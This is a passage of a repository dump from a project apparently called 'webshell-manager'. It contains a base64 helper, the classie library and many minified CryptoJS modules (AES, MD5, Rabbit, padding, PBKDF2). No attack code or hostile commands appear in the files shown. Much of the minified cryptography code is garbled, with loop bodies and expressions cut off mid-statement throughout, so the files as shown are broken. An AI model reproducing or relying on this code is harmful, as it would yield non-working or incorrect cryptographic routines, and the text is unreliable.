//RSAKey.prototype.encrypt_b64 = RSAEncryptB64; 113 | -------------------------------------------------------------------------------- /UI/js/RSA/sha1.js: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/js/RSA/sha1.js -------------------------------------------------------------------------------- /UI/js/RSA/sha256.js: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/abcdlzy/webshell-manager/81b32e9ac865b3bf35a4bf76ac8ab24c20324c7a/UI/js/RSA/sha256.js -------------------------------------------------------------------------------- /UI/js/base64.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Created by abcdlzy on 15/3/12. 3 | */ 4 | (function(window){ 5 | var base64 = {}; 6 | base64.map = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; 7 | base64.decode = function(s){ 8 | s += ''; 9 | var len = s.length; 10 | if((len === 0) || (len % 4 !== 0)){ 11 | return s; 12 | } 13 | 14 | var pads = 0; 15 | if(s.charAt(len - 1) === base64.map[64]){ 16 | pads++; 17 | if(s.charAt(len - 2) === base64.map[64]){ 18 | pads++; 19 | } 20 | len -= 4; 21 | } 22 | 23 | var i, b, map = base64.map, x = []; 24 | for(i = 0; i < len; i += 4){ 25 | b = (map.indexOf(s.charAt(i)) << 18) | (map.indexOf(s.charAt(i + 1)) << 12) | (map.indexOf(s.charAt(i + 2)) << 6) | map.indexOf(s.charAt(i + 3)); 26 | x.push(String.fromCharCode(b >> 16, (b >> 8) & 0xff, b & 0xff)); 27 | } 28 | 29 | switch(pads){ 30 | case 1: 31 | b = (map.indexOf(s.charAt(i)) << 18) | (map.indexOf(s.charAt(i)) << 12) | (map.indexOf(s.charAt(i)) << 6); 32 | x.push(String.fromCharCode(b >> 16, (b >> 8) & 0xff)); 33 | break; 34 | case 2: 35 | b = (map.indexOf(s.charAt(i)) << 18) | (map.indexOf(s.charAt(i)) << 12); 36 | x.push(String.fromCharCode(b >> 16)); 37 | break; 38 | } 39 | return unescape(x.join('')); 40 | }; 41 | 42 | base64.encode = function(s){ 43 | if(!s){ 44 | return; 45 | } 46 | 47 | s += ''; 48 | if(s.length === 0){ 49 | return s; 50 | } 51 | s = escape(s); 52 | 53 | var i, b, x = [], map = base64.map, padchar = map[64]; 54 | var len = s.length - s.length % 3; 55 | 56 | for(i = 0; i < len; i += 3){ 57 | b = (s.charCodeAt(i) << 16) | (s.charCodeAt(i+1) << 8) | s.charCodeAt(i+2); 58 | x.push(map.charAt(b >> 18)); 59 | x.push(map.charAt((b >> 12) & 0x3f)); 60 | x.push(map.charAt((b >> 6) & 0x3f)); 61 | x.push(map.charAt(b & 0x3f)); 62 | } 63 | 64 | switch(s.length - len){ 65 | case 1: 66 | b = s.charCodeAt(i) << 16; 67 | x.push(map.charAt(b >> 18) + map.charAt((b >> 12) & 0x3f) + padchar + padchar); 68 | break; 69 | case 2: 70 | b = (s.charCodeAt(i) << 16) | (s.charCodeAt(i + 1) << 8); 71 | x.push(map.charAt(b >> 18) + map.charAt((b >> 12) & 0x3f) + map.charAt((b >> 6) & 0x3f) + padchar); 72 | break; 73 | } 74 | return x.join(''); 75 | }; 76 | 77 | window.base64 = base64; 78 | })(window); -------------------------------------------------------------------------------- /UI/js/classie.js: -------------------------------------------------------------------------------- 1 | /*! 2 | * classie - class helper functions 3 | * from bonzo https://github.com/ded/bonzo 4 | * 5 | * classie.has( elem, 'my-class' ) -> true/false 6 | * classie.add( elem, 'my-new-class' ) 7 | * classie.remove( elem, 'my-unwanted-class' ) 8 | * classie.toggle( elem, 'my-class' ) 9 | */ 10 | 11 | /*jshint browser: true, strict: true, undef: true */ 12 | /*global define: false */ 13 | 14 | ( function( window ) { 15 | 16 | 'use strict'; 17 | 18 | // class helper functions from bonzo https://github.com/ded/bonzo 19 | 20 | function classReg( className ) { 21 | return new RegExp("(^|\\s+)" + className + "(\\s+|$)"); 22 | } 23 | 24 | // classList support for class management 25 | // altho to be fair, the api sucks because it won't accept multiple classes at once 26 | var hasClass, addClass, removeClass; 27 | 28 | if ( 'classList' in document.documentElement ) { 29 | hasClass = function( elem, c ) { 30 | return elem.classList.contains( c ); 31 | }; 32 | addClass = function( elem, c ) { 33 | elem.classList.add( c ); 34 | }; 35 | removeClass = function( elem, c ) { 36 | elem.classList.remove( c ); 37 | }; 38 | } 39 | else { 40 | hasClass = function( elem, c ) { 41 | return classReg( c ).test( elem.className ); 42 | }; 43 | addClass = function( elem, c ) { 44 | if ( !hasClass( elem, c ) ) { 45 | elem.className = elem.className + ' ' + c; 46 | } 47 | }; 48 | removeClass = function( elem, c ) { 49 | elem.className = elem.className.replace( classReg( c ), ' ' ); 50 | }; 51 | } 52 | 53 | function toggleClass( elem, c ) { 54 | var fn = hasClass( elem, c ) ? removeClass : addClass; 55 | fn( elem, c ); 56 | } 57 | 58 | var classie = { 59 | // full names 60 | hasClass: hasClass, 61 | addClass: addClass, 62 | removeClass: removeClass, 63 | toggleClass: toggleClass, 64 | // short names 65 | has: hasClass, 66 | add: addClass, 67 | remove: removeClass, 68 | toggle: toggleClass 69 | }; 70 | 71 | // transport 72 | if ( typeof define === 'function' && define.amd ) { 73 | // AMD 74 | define( classie ); 75 | } else { 76 | // browser global 77 | window.classie = classie; 78 | } 79 | 80 | })( window ); 81 | -------------------------------------------------------------------------------- /UI/js/crypto/aes-min.js: -------------------------------------------------------------------------------- 1 | /* 2 | CryptoJS v3.1.2 3 | code.google.com/p/crypto-js 4 | (c) 2009-2013 by Jeff Mott. All rights reserved. 5 | code.google.com/p/crypto-js/wiki/License 6 | */ 7 | (function(){for(var q=CryptoJS,x=q.lib.BlockCipher,r=q.algo,j=[],y=[],z=[],A=[],B=[],C=[],s=[],u=[],v=[],w=[],g=[],k=0;256>k;k++)g[k]=128>k?k<<1:k<<1^283;for(var n=0,l=0,k=0;256>k;k++){var f=l^l<<1^l<<2^l<<3^l<<4,f=f>>>8^f&255^99;j[n]=f;y[f]=n;var t=g[n],D=g[t],E=g[D],b=257*g[f]^16843008*f;z[n]=b<<24|b>>>8;A[n]=b<<16|b>>>16;B[n]=b<<8|b>>>24;C[n]=b;b=16843009*E^65537*D^257*t^16843008*n;s[f]=b<<24|b>>>8;u[f]=b<<16|b>>>16;v[f]=b<<8|b>>>24;w[f]=b;n?(n=t^g[g[g[E^t]]],l^=g[g[l]]):n=l=1}var F=[0,1,2,4,8,16,32,64,128,27,54],r=r.AES=x.extend({_doReset:function(){for(var c=this._key,e=c.words,a=c.sigBytes/4,c=4*((this._nRounds=a+6)+1),b=this._keySchedule=[],h=0;h>>24]<<24|j[d>>>16&255]<<16|j[d>>>8&255]<<8|j[d&255]):(d=d<<8|d>>>24,d=j[d>>>24]<<24|j[d>>>16&255]<<16|j[d>>>8&255]<<8|j[d&255],d^=F[h/a|0]<<24);b[h]=b[h-a]^d}e=this._invKeySchedule=[];for(a=0;aa||4>=h?d:s[j[d>>>24]]^u[j[d>>>16&255]]^v[j[d>>>8&255]]^w[j[d&255]]},encryptBlock:function(c,e){this._doCryptBlock(c,e,this._keySchedule,z,A,B,C,j)},decryptBlock:function(c,e){var a=c[e+1];c[e+1]=c[e+3];c[e+3]=a;this._doCryptBlock(c,e,this._invKeySchedule,s,u,v,w,y);a=c[e+1];c[e+1]=c[e+3];c[e+3]=a},_doCryptBlock:function(c,e,a,b,h,d,j,m){for(var n=this._nRounds,f=c[e]^a[0],g=c[e+1]^a[1],k=c[e+2]^a[2],p=c[e+3]^a[3],l=4,t=1;t>>24]^h[g>>>16&255]^d[k>>>8&255]^j[p&255]^a[l++],r=b[g>>>24]^h[k>>>16&255]^d[p>>>8&255]^j[f&255]^a[l++],s= b[k>>>24]^h[p>>>16&255]^d[f>>>8&255]^j[g&255]^a[l++],p=b[p>>>24]^h[f>>>16&255]^d[g>>>8&255]^j[k&255]^a[l++],f=q,g=r,k=s;q=(m[f>>>24]<<24|m[g>>>16&255]<<16|m[k>>>8&255]<<8|m[p&255])^a[l++];r=(m[g>>>24]<<24|m[k>>>16&255]<<16|m[p>>>8&255]<<8|m[f&255])^a[l++];s=(m[k>>>24]<<24|m[p>>>16&255]<<16|m[f>>>8&255]<<8|m[g&255])^a[l++];p=(m[p>>>24]<<24|m[f>>>16&255]<<16|m[g>>>8&255]<<8|m[k&255])^a[l++];c[e]=q;c[e+1]=r;c[e+2]=s;c[e+3]=p},keySize:8});q.AES=x._createHelper(r)})(); 8 | -------------------------------------------------------------------------------- /UI/js/crypto/core-min.js: -------------------------------------------------------------------------------- 1 | /* 2 | CryptoJS v3.1.2 3 | code.google.com/p/crypto-js 4 | (c) 2009-2013 by Jeff Mott. All rights reserved. 5 | code.google.com/p/crypto-js/wiki/License 6 | */ 7 | var CryptoJS=CryptoJS||function(h,r){var k={},l=k.lib={},n=function(){},f=l.Base={extend:function(a){n.prototype=this;var b=new n;a&&b.mixIn(a);b.hasOwnProperty("init")||(b.init=function(){b.$super.init.apply(this,arguments)});b.init.prototype=b;b.$super=this;return b},create:function(){var a=this.extend();a.init.apply(a,arguments);return a},init:function(){},mixIn:function(a){for(var b in a)a.hasOwnProperty(b)&&(this[b]=a[b]);a.hasOwnProperty("toString")&&(this.toString=a.toString)},clone:function(){return this.init.prototype.extend(this)}}, 8 | j=l.WordArray=f.extend({init:function(a,b){a=this.words=a||[];this.sigBytes=b!=r?b:4*a.length},toString:function(a){return(a||s).stringify(this)},concat:function(a){var b=this.words,d=a.words,c=this.sigBytes;a=a.sigBytes;this.clamp();if(c%4)for(var e=0;e>>2]|=(d[e>>>2]>>>24-8*(e%4)&255)<<24-8*((c+e)%4);else if(65535>>2]=d[e>>>2];else b.push.apply(b,d);this.sigBytes+=a;return this},clamp:function(){var a=this.words,b=this.sigBytes;a[b>>>2]&=4294967295<< 9 | 32-8*(b%4);a.length=h.ceil(b/4)},clone:function(){var a=f.clone.call(this);a.words=this.words.slice(0);return a},random:function(a){for(var b=[],d=0;d>>2]>>>24-8*(c%4)&255;d.push((e>>>4).toString(16));d.push((e&15).toString(16))}return d.join("")},parse:function(a){for(var b=a.length,d=[],c=0;c>>3]|=parseInt(a.substr(c, 10 | 2),16)<<24-4*(c%8);return new j.init(d,b/2)}},p=m.Latin1={stringify:function(a){var b=a.words;a=a.sigBytes;for(var d=[],c=0;c>>2]>>>24-8*(c%4)&255));return d.join("")},parse:function(a){for(var b=a.length,d=[],c=0;c>>2]|=(a.charCodeAt(c)&255)<<24-8*(c%4);return new j.init(d,b)}},t=m.Utf8={stringify:function(a){try{return decodeURIComponent(escape(p.stringify(a)))}catch(b){throw Error("Malformed UTF-8 data");}},parse:function(a){return p.parse(unescape(encodeURIComponent(a)))}}, 11 | q=l.BufferedBlockAlgorithm=f.extend({reset:function(){this._data=new j.init;this._nDataBytes=0},_append:function(a){"string"==typeof a&&(a=t.parse(a));this._data.concat(a);this._nDataBytes+=a.sigBytes},_process:function(a){var b=this._data,d=b.words,c=b.sigBytes,e=this.blockSize,f=c/(4*e),f=a?h.ceil(f):h.max((f|0)-this._minBufferSize,0);a=f*e;c=h.min(4*a,c);if(a){for(var g=0;g>>2]>>>24-8*(a%4)&255)<<16|(e[a+1>>>2]>>>24-8*((a+1)%4)&255)<<8|e[a+2>>>2]>>>24-8*((a+2)%4)&255,g=0;4>g&&a+0.75*g>>6*(3-g)&63));if(e=c.charAt(64))for(;b.length%4;)b.push(e);return b.join("")},parse:function(b){var e=b.length,f=this._map,c=f.charAt(64);c&&(c=b.indexOf(c),-1!=c&&(e=c));for(var c=[],a=0,d=0;d< 8 | e;d++)if(d%4){var g=f.indexOf(b.charAt(d-1))<<2*(d%4),h=f.indexOf(b.charAt(d))>>>6-2*(d%4);c[a>>>2]|=(g|h)<<24-8*(a%4);a++}return j.create(c,a)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="}})(); 9 | -------------------------------------------------------------------------------- /UI/js/crypto/enc-utf16-min.js: -------------------------------------------------------------------------------- 1 | /* 2 | CryptoJS v3.1.2 3 | code.google.com/p/crypto-js 4 | (c) 2009-2013 by Jeff Mott. All rights reserved. 5 | code.google.com/p/crypto-js/wiki/License 6 | */ 7 | (function(){var e=CryptoJS,f=e.lib.WordArray,e=e.enc;e.Utf16=e.Utf16BE={stringify:function(b){var d=b.words;b=b.sigBytes;for(var c=[],a=0;a>>2]>>>16-8*(a%4)&65535));return c.join("")},parse:function(b){for(var d=b.length,c=[],a=0;a>>1]|=b.charCodeAt(a)<<16-16*(a%2);return f.create(c,2*d)}};e.Utf16LE={stringify:function(b){var d=b.words;b=b.sigBytes;for(var c=[],a=0;a>>2]>>>16-8*(a%4)&65535)<<8&4278255360|(d[a>>> 8 | 2]>>>16-8*(a%4)&65535)>>>8&16711935));return c.join("")},parse:function(b){for(var d=b.length,c=[],a=0;a>>1,j=e[g],h=b.charCodeAt(a)<<16-16*(a%2);e[g]=j|h<<8&4278255360|h>>>8&16711935}return f.create(c,2*d)}}})(); 9 | -------------------------------------------------------------------------------- /UI/js/crypto/evpkdf-min.js: -------------------------------------------------------------------------------- 1 | /* 2 | CryptoJS v3.1.2 3 | code.google.com/p/crypto-js 4 | (c) 2009-2013 by Jeff Mott. All rights reserved. 5 | code.google.com/p/crypto-js/wiki/License 6 | */ 7 | (function(){var b=CryptoJS,a=b.lib,f=a.Base,k=a.WordArray,a=b.algo,l=a.EvpKDF=f.extend({cfg:f.extend({keySize:4,hasher:a.MD5,iterations:1}),init:function(a){this.cfg=this.cfg.extend(a)},compute:function(a,b){for(var c=this.cfg,d=c.hasher.create(),g=k.create(),f=g.words,h=c.keySize,c=c.iterations;f.lengthe&&(b=a.finalize(b));b.clamp();for(var f=this._oKey=b.clone(),g=this._iKey=b.clone(),h=f.words,j=g.words,d=0;d>>2]|=a[c]<< 8 | 24-8*(c%4);e.call(this,d,b)}else e.apply(this,arguments)}).prototype=b}})(); 9 | -------------------------------------------------------------------------------- /UI/js/crypto/md5-min.js: -------------------------------------------------------------------------------- 1 | /* 2 | CryptoJS v3.1.2 3 | code.google.com/p/crypto-js 4 | (c) 2009-2013 by Jeff Mott. All rights reserved. 5 | code.google.com/p/crypto-js/wiki/License 6 | */ 7 | (function(E){function h(a,f,g,j,p,h,k){a=a+(f&g|~f&j)+p+k;return(a<>>32-h)+f}function k(a,f,g,j,p,h,k){a=a+(f&j|g&~j)+p+k;return(a<>>32-h)+f}function l(a,f,g,j,h,k,l){a=a+(f^g^j)+h+l;return(a<>>32-k)+f}function n(a,f,g,j,h,k,l){a=a+(g^(f|~j))+h+l;return(a<>>32-k)+f}for(var r=CryptoJS,q=r.lib,F=q.WordArray,s=q.Hasher,q=r.algo,a=[],t=0;64>t;t++)a[t]=4294967296*E.abs(E.sin(t+1))|0;q=q.MD5=s.extend({_doReset:function(){this._hash=new F.init([1732584193,4023233417,2562383102,271733878])}, 8 | _doProcessBlock:function(m,f){for(var g=0;16>g;g++){var j=f+g,p=m[j];m[j]=(p<<8|p>>>24)&16711935|(p<<24|p>>>8)&4278255360}var g=this._hash.words,j=m[f+0],p=m[f+1],q=m[f+2],r=m[f+3],s=m[f+4],t=m[f+5],u=m[f+6],v=m[f+7],w=m[f+8],x=m[f+9],y=m[f+10],z=m[f+11],A=m[f+12],B=m[f+13],C=m[f+14],D=m[f+15],b=g[0],c=g[1],d=g[2],e=g[3],b=h(b,c,d,e,j,7,a[0]),e=h(e,b,c,d,p,12,a[1]),d=h(d,e,b,c,q,17,a[2]),c=h(c,d,e,b,r,22,a[3]),b=h(b,c,d,e,s,7,a[4]),e=h(e,b,c,d,t,12,a[5]),d=h(d,e,b,c,u,17,a[6]),c=h(c,d,e,b,v,22,a[7]), 9 | b=h(b,c,d,e,w,7,a[8]),e=h(e,b,c,d,x,12,a[9]),d=h(d,e,b,c,y,17,a[10]),c=h(c,d,e,b,z,22,a[11]),b=h(b,c,d,e,A,7,a[12]),e=h(e,b,c,d,B,12,a[13]),d=h(d,e,b,c,C,17,a[14]),c=h(c,d,e,b,D,22,a[15]),b=k(b,c,d,e,p,5,a[16]),e=k(e,b,c,d,u,9,a[17]),d=k(d,e,b,c,z,14,a[18]),c=k(c,d,e,b,j,20,a[19]),b=k(b,c,d,e,t,5,a[20]),e=k(e,b,c,d,y,9,a[21]),d=k(d,e,b,c,D,14,a[22]),c=k(c,d,e,b,s,20,a[23]),b=k(b,c,d,e,x,5,a[24]),e=k(e,b,c,d,C,9,a[25]),d=k(d,e,b,c,r,14,a[26]),c=k(c,d,e,b,w,20,a[27]),b=k(b,c,d,e,B,5,a[28]),e=k(e,b, 10 | c,d,q,9,a[29]),d=k(d,e,b,c,v,14,a[30]),c=k(c,d,e,b,A,20,a[31]),b=l(b,c,d,e,t,4,a[32]),e=l(e,b,c,d,w,11,a[33]),d=l(d,e,b,c,z,16,a[34]),c=l(c,d,e,b,C,23,a[35]),b=l(b,c,d,e,p,4,a[36]),e=l(e,b,c,d,s,11,a[37]),d=l(d,e,b,c,v,16,a[38]),c=l(c,d,e,b,y,23,a[39]),b=l(b,c,d,e,B,4,a[40]),e=l(e,b,c,d,j,11,a[41]),d=l(d,e,b,c,r,16,a[42]),c=l(c,d,e,b,u,23,a[43]),b=l(b,c,d,e,x,4,a[44]),e=l(e,b,c,d,A,11,a[45]),d=l(d,e,b,c,D,16,a[46]),c=l(c,d,e,b,q,23,a[47]),b=n(b,c,d,e,j,6,a[48]),e=n(e,b,c,d,v,10,a[49]),d=n(d,e,b,c, 11 | C,15,a[50]),c=n(c,d,e,b,t,21,a[51]),b=n(b,c,d,e,A,6,a[52]),e=n(e,b,c,d,r,10,a[53]),d=n(d,e,b,c,y,15,a[54]),c=n(c,d,e,b,p,21,a[55]),b=n(b,c,d,e,w,6,a[56]),e=n(e,b,c,d,D,10,a[57]),d=n(d,e,b,c,u,15,a[58]),c=n(c,d,e,b,B,21,a[59]),b=n(b,c,d,e,s,6,a[60]),e=n(e,b,c,d,z,10,a[61]),d=n(d,e,b,c,q,15,a[62]),c=n(c,d,e,b,x,21,a[63]);g[0]=g[0]+b|0;g[1]=g[1]+c|0;g[2]=g[2]+d|0;g[3]=g[3]+e|0},_doFinalize:function(){var a=this._data,f=a.words,g=8*this._nDataBytes,j=8*a.sigBytes;f[j>>>5]|=128<<24-j%32;var h=E.floor(g/ 12 | 4294967296);f[(j+64>>>9<<4)+15]=(h<<8|h>>>24)&16711935|(h<<24|h>>>8)&4278255360;f[(j+64>>>9<<4)+14]=(g<<8|g>>>24)&16711935|(g<<24|g>>>8)&4278255360;a.sigBytes=4*(f.length+1);this._process();a=this._hash;f=a.words;for(g=0;4>g;g++)j=f[g],f[g]=(j<<8|j>>>24)&16711935|(j<<24|j>>>8)&4278255360;return a},clone:function(){var a=s.clone.call(this);a._hash=this._hash.clone();return a}});r.MD5=s._createHelper(q);r.HmacMD5=s._createHmacHelper(q)})(Math); 13 | -------------------------------------------------------------------------------- /UI/js/crypto/mode-cfb-min.js: -------------------------------------------------------------------------------- 1 | /* 2 | CryptoJS v3.1.2 3 | code.google.com/p/crypto-js 4 | (c) 2009-2013 by Jeff Mott. All rights reserved. 5 | code.google.com/p/crypto-js/wiki/License 6 | */ 7 | CryptoJS.mode.CFB=function(){function g(c,b,e,a){var d=this._iv;d?(d=d.slice(0),this._iv=void 0):d=this._prevBlock;a.encryptBlock(d,0);for(a=0;a>24&255)){var c=a>>16&255,b=a>>8&255,e=a&255;255===c?(c=0,255===b?(b=0,255===e?e=0:++e):++b):++c;a=0+(c<<16)+(b<<8);a+=e}else a+=16777216;return a}var g=CryptoJS.lib.BlockCipherMode.extend(),j=g.Encryptor=g.extend({processBlock:function(a,c){var b=this._cipher,e=b.blockSize,d=this._iv,f=this._counter;d&&(f=this._counter=d.slice(0),this._iv=void 0);d=f;if(0===(d[0]=h(d[0])))d[1]=h(d[1]);f=f.slice(0);b.encryptBlock(f,0);for(b=0;b>>2]|=c<<24-8*(b%4);a.sigBytes+=c},unpad:function(a){a.sigBytes-=a.words[a.sigBytes-1>>>2]&255}}; 8 | -------------------------------------------------------------------------------- /UI/js/crypto/pad-iso10126-min.js: -------------------------------------------------------------------------------- 1 | /* 2 | CryptoJS v3.1.2 3 | code.google.com/p/crypto-js 4 | (c) 2009-2013 by Jeff Mott. All rights reserved. 5 | code.google.com/p/crypto-js/wiki/License 6 | */ 7 | CryptoJS.pad.Iso10126={pad:function(a,c){var b=4*c,b=b-a.sigBytes%b;a.concat(CryptoJS.lib.WordArray.random(b-1)).concat(CryptoJS.lib.WordArray.create([b<<24],1))},unpad:function(a){a.sigBytes-=a.words[a.sigBytes-1>>>2]&255}}; 8 | -------------------------------------------------------------------------------- /UI/js/crypto/pad-iso97971-min.js: -------------------------------------------------------------------------------- 1 | /* 2 | CryptoJS v3.1.2 3 | code.google.com/p/crypto-js 4 | (c) 2009-2013 by Jeff Mott. All rights reserved. 5 | code.google.com/p/crypto-js/wiki/License 6 | */ 7 | CryptoJS.pad.Iso97971={pad:function(a,b){a.concat(CryptoJS.lib.WordArray.create([2147483648],1));CryptoJS.pad.ZeroPadding.pad(a,b)},unpad:function(a){CryptoJS.pad.ZeroPadding.unpad(a);a.sigBytes--}}; 8 | -------------------------------------------------------------------------------- /UI/js/crypto/pad-nopadding-min.js: -------------------------------------------------------------------------------- 1 | /* 2 | CryptoJS v3.1.2 3 | code.google.com/p/crypto-js 4 | (c) 2009-2013 by Jeff Mott. All rights reserved. 5 | code.google.com/p/crypto-js/wiki/License 6 | */ 7 | CryptoJS.pad.NoPadding={pad:function(){},unpad:function(){}}; 8 | -------------------------------------------------------------------------------- /UI/js/crypto/pad-zeropadding-min.js: -------------------------------------------------------------------------------- 1 | /* 2 | CryptoJS v3.1.2 3 | code.google.com/p/crypto-js 4 | (c) 2009-2013 by Jeff Mott. All rights reserved. 5 | code.google.com/p/crypto-js/wiki/License 6 | */ 7 | CryptoJS.pad.ZeroPadding={pad:function(a,c){var b=4*c;a.clamp();a.sigBytes+=b-(a.sigBytes%b||b)},unpad:function(a){for(var c=a.words,b=a.sigBytes-1;!(c[b>>>2]>>>24-8*(b%4)&255);)b--;a.sigBytes=b+1}}; 8 | -------------------------------------------------------------------------------- /UI/js/crypto/pbkdf2-min.js: -------------------------------------------------------------------------------- 1 | /* 2 | CryptoJS v3.1.2 3 | code.google.com/p/crypto-js 4 | (c) 2009-2013 by Jeff Mott. All rights reserved. 5 | code.google.com/p/crypto-js/wiki/License 6 | */ 7 | (function(){var b=CryptoJS,a=b.lib,d=a.Base,m=a.WordArray,a=b.algo,q=a.HMAC,l=a.PBKDF2=d.extend({cfg:d.extend({keySize:4,hasher:a.SHA1,iterations:1}),init:function(a){this.cfg=this.cfg.extend(a)},compute:function(a,b){for(var c=this.cfg,f=q.create(c.hasher,a),g=m.create(),d=m.create([1]),l=g.words,r=d.words,n=c.keySize,c=c.iterations;l.lengthc;c++)f[c]=d[c];d[0]=d[0]+1295307597+this._b|0;d[1]=d[1]+3545052371+(d[0]>>>0>>0?1:0)|0;d[2]=d[2]+886263092+(d[1]>>>0>>0?1:0)|0;d[3]=d[3]+1295307597+(d[2]>>>0>>0?1:0)|0;d[4]=d[4]+3545052371+(d[3]>>>0>>0?1:0)|0;d[5]=d[5]+886263092+(d[4]>>>0>>0?1:0)|0;d[6]=d[6]+1295307597+(d[5]>>>0>>0?1:0)|0;d[7]=d[7]+3545052371+(d[6]>>>0>>0?1:0)|0;this._b=d[7]>>>0>>0?1:0;for(c=0;8>c;c++){var h=a[c]+d[c],e=h&65535, 8 | g=h>>>16;b[c]=((e*e>>>17)+e*g>>>15)+g*g^((h&4294901760)*h|0)+((h&65535)*h|0)}a[0]=b[0]+(b[7]<<16|b[7]>>>16)+(b[6]<<16|b[6]>>>16)|0;a[1]=b[1]+(b[0]<<8|b[0]>>>24)+b[7]|0;a[2]=b[2]+(b[1]<<16|b[1]>>>16)+(b[0]<<16|b[0]>>>16)|0;a[3]=b[3]+(b[2]<<8|b[2]>>>24)+b[1]|0;a[4]=b[4]+(b[3]<<16|b[3]>>>16)+(b[2]<<16|b[2]>>>16)|0;a[5]=b[5]+(b[4]<<8|b[4]>>>24)+b[3]|0;a[6]=b[6]+(b[5]<<16|b[5]>>>16)+(b[4]<<16|b[4]>>>16)|0;a[7]=b[7]+(b[6]<<8|b[6]>>>24)+b[5]|0}var j=CryptoJS,k=j.lib.StreamCipher,e=[],f=[],b=[],l=j.algo.RabbitLegacy= 9 | k.extend({_doReset:function(){for(var a=this._key.words,d=this.cfg.iv,c=this._X=[a[0],a[3]<<16|a[2]>>>16,a[1],a[0]<<16|a[3]>>>16,a[2],a[1]<<16|a[0]>>>16,a[3],a[2]<<16|a[1]>>>16],a=this._C=[a[2]<<16|a[2]>>>16,a[0]&4294901760|a[1]&65535,a[3]<<16|a[3]>>>16,a[1]&4294901760|a[2]&65535,a[0]<<16|a[0]>>>16,a[2]&4294901760|a[3]&65535,a[1]<<16|a[1]>>>16,a[3]&4294901760|a[0]&65535],b=this._b=0;4>b;b++)g.call(this);for(b=0;8>b;b++)a[b]^=c[b+4&7];if(d){var c=d.words,d=c[0],c=c[1],d=(d<<8|d>>>24)&16711935|(d<< 10 | 24|d>>>8)&4278255360,c=(c<<8|c>>>24)&16711935|(c<<24|c>>>8)&4278255360,b=d>>>16|c&4294901760,e=c<<16|d&65535;a[0]^=d;a[1]^=b;a[2]^=c;a[3]^=e;a[4]^=d;a[5]^=b;a[6]^=c;a[7]^=e;for(b=0;4>b;b++)g.call(this)}},_doProcessBlock:function(a,b){var c=this._X;g.call(this);e[0]=c[0]^c[5]>>>16^c[3]<<16;e[1]=c[2]^c[7]>>>16^c[5]<<16;e[2]=c[4]^c[1]>>>16^c[7]<<16;e[3]=c[6]^c[3]>>>16^c[1]<<16;for(c=0;4>c;c++)e[c]=(e[c]<<8|e[c]>>>24)&16711935|(e[c]<<24|e[c]>>>8)&4278255360,a[b+c]^=e[c]},blockSize:4,ivSize:2});j.RabbitLegacy= 11 | k._createHelper(l)})(); 12 | -------------------------------------------------------------------------------- /UI/js/crypto/rabbit-min.js: -------------------------------------------------------------------------------- 1 | /* 2 | CryptoJS v3.1.2 3 | code.google.com/p/crypto-js 4 | (c) 2009-2013 by Jeff Mott. All rights reserved. 5 | code.google.com/p/crypto-js/wiki/License 6 | */ 7 | (function(){function g(){for(var b=this._X,d=this._C,a=0;8>a;a++)f[a]=d[a];d[0]=d[0]+1295307597+this._b|0;d[1]=d[1]+3545052371+(d[0]>>>0>>0?1:0)|0;d[2]=d[2]+886263092+(d[1]>>>0>>0?1:0)|0;d[3]=d[3]+1295307597+(d[2]>>>0>>0?1:0)|0;d[4]=d[4]+3545052371+(d[3]>>>0>>0?1:0)|0;d[5]=d[5]+886263092+(d[4]>>>0>>0?1:0)|0;d[6]=d[6]+1295307597+(d[5]>>>0>>0?1:0)|0;d[7]=d[7]+3545052371+(d[6]>>>0>>0?1:0)|0;this._b=d[7]>>>0>>0?1:0;for(a=0;8>a;a++){var h=b[a]+d[a],e=h&65535, 8 | g=h>>>16;c[a]=((e*e>>>17)+e*g>>>15)+g*g^((h&4294901760)*h|0)+((h&65535)*h|0)}b[0]=c[0]+(c[7]<<16|c[7]>>>16)+(c[6]<<16|c[6]>>>16)|0;b[1]=c[1]+(c[0]<<8|c[0]>>>24)+c[7]|0;b[2]=c[2]+(c[1]<<16|c[1]>>>16)+(c[0]<<16|c[0]>>>16)|0;b[3]=c[3]+(c[2]<<8|c[2]>>>24)+c[1]|0;b[4]=c[4]+(c[3]<<16|c[3]>>>16)+(c[2]<<16|c[2]>>>16)|0;b[5]=c[5]+(c[4]<<8|c[4]>>>24)+c[3]|0;b[6]=c[6]+(c[5]<<16|c[5]>>>16)+(c[4]<<16|c[4]>>>16)|0;b[7]=c[7]+(c[6]<<8|c[6]>>>24)+c[5]|0}var j=CryptoJS,k=j.lib.StreamCipher,e=[],f=[],c=[],l=j.algo.Rabbit= 9 | k.extend({_doReset:function(){for(var b=this._key.words,d=this.cfg.iv,a=0;4>a;a++)b[a]=(b[a]<<8|b[a]>>>24)&16711935|(b[a]<<24|b[a]>>>8)&4278255360;for(var c=this._X=[b[0],b[3]<<16|b[2]>>>16,b[1],b[0]<<16|b[3]>>>16,b[2],b[1]<<16|b[0]>>>16,b[3],b[2]<<16|b[1]>>>16],b=this._C=[b[2]<<16|b[2]>>>16,b[0]&4294901760|b[1]&65535,b[3]<<16|b[3]>>>16,b[1]&4294901760|b[2]&65535,b[0]<<16|b[0]>>>16,b[2]&4294901760|b[3]&65535,b[1]<<16|b[1]>>>16,b[3]&4294901760|b[0]&65535],a=this._b=0;4>a;a++)g.call(this);for(a=0;8> 10 | a;a++)b[a]^=c[a+4&7];if(d){var a=d.words,d=a[0],a=a[1],d=(d<<8|d>>>24)&16711935|(d<<24|d>>>8)&4278255360,a=(a<<8|a>>>24)&16711935|(a<<24|a>>>8)&4278255360,c=d>>>16|a&4294901760,e=a<<16|d&65535;b[0]^=d;b[1]^=c;b[2]^=a;b[3]^=e;b[4]^=d;b[5]^=c;b[6]^=a;b[7]^=e;for(a=0;4>a;a++)g.call(this)}},_doProcessBlock:function(b,c){var a=this._X;g.call(this);e[0]=a[0]^a[5]>>>16^a[3]<<16;e[1]=a[2]^a[7]>>>16^a[5]<<16;e[2]=a[4]^a[1]>>>16^a[7]<<16;e[3]=a[6]^a[3]>>>16^a[1]<<16;for(a=0;4>a;a++)e[a]=(e[a]<<8|e[a]>>>24)& 11 | 16711935|(e[a]<<24|e[a]>>>8)&4278255360,b[c+a]^=e[a]},blockSize:4,ivSize:2});j.Rabbit=k._createHelper(l)})(); 12 